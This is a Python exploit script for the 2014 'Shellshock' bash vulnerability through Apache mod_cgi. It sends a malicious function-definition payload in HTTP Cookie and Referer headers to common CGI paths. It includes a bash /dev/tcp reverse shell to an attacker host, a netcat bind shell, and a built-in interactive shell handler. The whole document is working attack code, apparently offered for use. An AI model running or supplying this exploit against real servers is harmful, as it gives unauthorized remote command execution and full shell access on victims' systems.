Apache mod_cgi – ‘Shellshock’ Remote Command Injection
#!/usr/bin/env python from socket import * from threading import Thread import thread, time, httplib, urllib, sys stop = False proxyhost = "" proxyport = 0 def usage(): print """ Shellshock apache mod_cgi remote exploit Usage: ./exploit.py var=<value> Vars: rhost: victim host rport: victim port for TCP shell binding lhost: attacker host for TCP shell reversing lport: attacker port for TCP shell reversing pages: specific cgi vulnerable pages (separated by comma) proxy: host:port proxy Payloads: "reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport) "bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport) Example: ./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234 ./exploit.py payload=bind rhost=1.2.3.4 rport=1234 Credits: Federico Galatolo 2014 """ sys.exit(0) def exploit(lhost,lport,rhost,rport,payload,pages): headers = {"Cookie": payload, "Referer": payload} for page in pages: if stop: return print "[-] Trying exploit on : "+page if proxyhost != "": c = httplib.HTTPConnection(proxyhost,proxyport) c.request("GET","http://"+rhost+page,headers=headers) res = c.getresponse() else: c = httplib.HTTPConnection(rhost) c.request("GET",page,headers=headers) res = c.getresponse() if res.status == 404: print "[*] 404 on : "+page time.sleep(1) args = {} for arg in sys.argv[1:]: ar = arg.split("=") args[ar[0]] = ar[1] try: args['payload'] except: usage() if args['payload'] == 'reverse': try: lhost = args['lhost'] lport = int(args['lport']) rhost = args['rhost'] payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &" except: usage() elif args['payload'] == 'bind': try: rhost = args['rhost'] rport = args['rport'] payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'" except: usage() else: print "[*] Unsupported payload" usage() try: pages = args['pages'].split(",") except: pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"] try: proxyhost,proxyport = args['proxy'].split(":") except: pass if args['payload'] == 'reverse': serversocket = socket(AF_INET, SOCK_STREAM) buff = 1024 addr = (lhost, lport) serversocket.bind(addr) serversocket.listen(10) print "[!] Started reverse shell handler" thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,)) if args['payload'] == 'bind': serversocket = socket(AF_INET, SOCK_STREAM) addr = (rhost,int(rport)) thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,)) buff = 1024 while True: if args['payload'] == 'reverse': clientsocket, clientaddr = serversocket.accept() print "[!] Successfully exploited" print "[!] Incoming connection from "+clientaddr[0] stop = True clientsocket.settimeout(3) while True: reply = raw_input(clientaddr[0]+"> ") clientsocket.sendall(reply+"\n") try: data = clientsocket.recv(buff) print data except: pass if args['payload'] == 'bind': try: serversocket = socket(AF_INET, SOCK_STREAM) time.sleep(1) serversocket.connect(addr) print "[!] Successfully exploited" print "[!] Connected to "+rhost stop = True serversocket.settimeout(3) while True: reply = raw_input(rhost+"> ") serversocket.sendall(reply+"\n") data = serversocket.recv(buff) print data except: pass |